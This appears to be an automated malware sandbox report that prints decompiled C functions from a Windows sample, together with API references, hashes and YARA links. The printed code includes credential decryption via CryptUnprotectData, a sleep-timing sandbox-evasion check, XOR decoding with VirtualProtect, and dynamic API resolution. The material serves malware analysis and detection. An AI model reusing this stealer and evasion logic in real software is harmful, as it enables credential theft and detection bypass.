GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;
				long _t16;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t16 = GetTimeZoneInformation( &_v180); // executed
				_v188 = _t16;
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad6a
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t21;

				_v16 = _a4;
				_v20 = _a8;
				_t21 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12); // executed
				_v24 = _t21;
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x00407534
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8); // executed
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 004048E0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 357.9, APIs: 144, Strings: 60, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x6779f0
					_t273 =  *0x41aa64; // 0x73b60000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x677948
					_t130 =  *0x41aa64; // 0x73b60000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x674f20
					_t363 =  *0x41aa64; // 0x73b60000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x677660
					_t275 =  *0x41aa64; // 0x73b60000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x6777c8
					_t135 =  *0x41aa64; // 0x73b60000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x677720
					_t365 =  *0x41aa64; // 0x73b60000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x677750
					_t277 =  *0x41aa64; // 0x73b60000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x677768
					_t140 =  *0x41aa64; // 0x73b60000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x677798
					_t367 =  *0x41aa64; // 0x73b60000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x6777b0
					_t279 =  *0x41aa64; // 0x73b60000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x6777e0
					_t145 =  *0x41aa64; // 0x73b60000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x677930
					_t369 =  *0x41aa64; // 0x73b60000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x677858
					_t281 =  *0x41aa64; // 0x73b60000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x6750a0
					_t150 =  *0x41aa64; // 0x73b60000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x6777f8
					_t371 =  *0x41aa64; // 0x73b60000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x675060
					_t283 =  *0x41aa64; // 0x73b60000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x677250
					_t155 =  *0x41aa64; // 0x73b60000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x677810
					_t373 =  *0x41aa64; // 0x73b60000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x674f40
					_t285 =  *0x41aa64; // 0x73b60000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x677828
					_t160 =  *0x41aa64; // 0x73b60000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x675040
					_t375 =  *0x41aa64; // 0x73b60000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x6778e8
					_t287 =  *0x41aa64; // 0x73b60000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x6778a0
					_t165 =  *0x41aa64; // 0x73b60000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x677870
					_t377 =  *0x41aa64; // 0x73b60000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x6778b8
					_t289 =  *0x41aa64; // 0x73b60000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x674d20
					_t170 =  *0x41aa64; // 0x73b60000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x677888
					_t379 =  *0x41aa64; // 0x73b60000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x677900
					_t291 =  *0x41aa64; // 0x73b60000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x677f90
					_t175 =  *0x41aa64; // 0x73b60000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x674ba0
					_t381 =  *0x41aa64; // 0x73b60000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x677dc8
					_t293 =  *0x41aa64; // 0x73b60000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x678038
					_t180 =  *0x41aa64; // 0x73b60000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x678020
					_t383 =  *0x41aa64; // 0x73b60000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x677ea0
					_t295 =  *0x41aa64; // 0x73b60000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x677d50
					_t185 =  *0x41aa64; // 0x73b60000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x6749c0
					_t385 =  *0x41aa64; // 0x73b60000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x674b20
					_t297 =  *0x41aa64; // 0x73b60000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x677de0
					_t190 =  *0x41aa64; // 0x73b60000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x677d98
					_t387 =  *0x41aa64; // 0x73b60000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x674b40
					_t299 =  *0x41aa64; // 0x73b60000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x6771d8
					_t195 =  *0x41aa64; // 0x73b60000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x677eb8
					_t389 =  *0x41aa64; // 0x73b60000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x677d68
					_t301 =  *0x41aa64; // 0x73b60000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x6749e0
					_t200 =  *0x41aa64; // 0x73b60000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x674c00
					_t391 =  *0x41aa64; // 0x73b60000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x674b60
					_t303 =  *0x41aa64; // 0x73b60000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x677fd8
					_t205 =  *0x41aa64; // 0x73b60000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x674980
					_t393 =  *0x41aa64; // 0x73b60000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x677f78
					_t305 =  *0x41aa64; // 0x73b60000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x674a40
					_t210 =  *0x41aa64; // 0x73b60000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x674a00
					_t395 =  *0x41aa64; // 0x73b60000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x73b60000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x73b60000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x73b60000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x73b60000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x73b60000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x677960
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x677918
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x677648
				_t4 = LoadLibraryA(_t220); // executed
				 *0x41aaa8 = _t4;
				_t310 =  *0x41a2c0; // 0x677840
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x6778d0
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x677690
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x677678
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x677738
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x6776c0
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x6776d8
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x6776f0
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x677708
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x6776a8
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x675728
					_t272 =  *0x41a964; // 0x770b0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x770b0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x770b0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x677d80
					_t355 =  *0x41a8d8; // 0x6f710000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x674cc0
					_t266 =  *0x41a8d8; // 0x6f710000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x674b80
					_t112 =  *0x41a8d8; // 0x6f710000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x674bc0
					_t357 =  *0x41a8d8; // 0x6f710000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x677ff0
					_t268 =  *0x41a8d8; // 0x6f710000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x674a60
					_t117 =  *0x41a8d8; // 0x6f710000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x674ca0
					_t359 =  *0x41a8d8; // 0x6f710000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x674a80
					_t270 =  *0x41a8d8; // 0x6f710000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x6749a0
					_t122 =  *0x41a8d8; // 0x6f710000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6f710000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
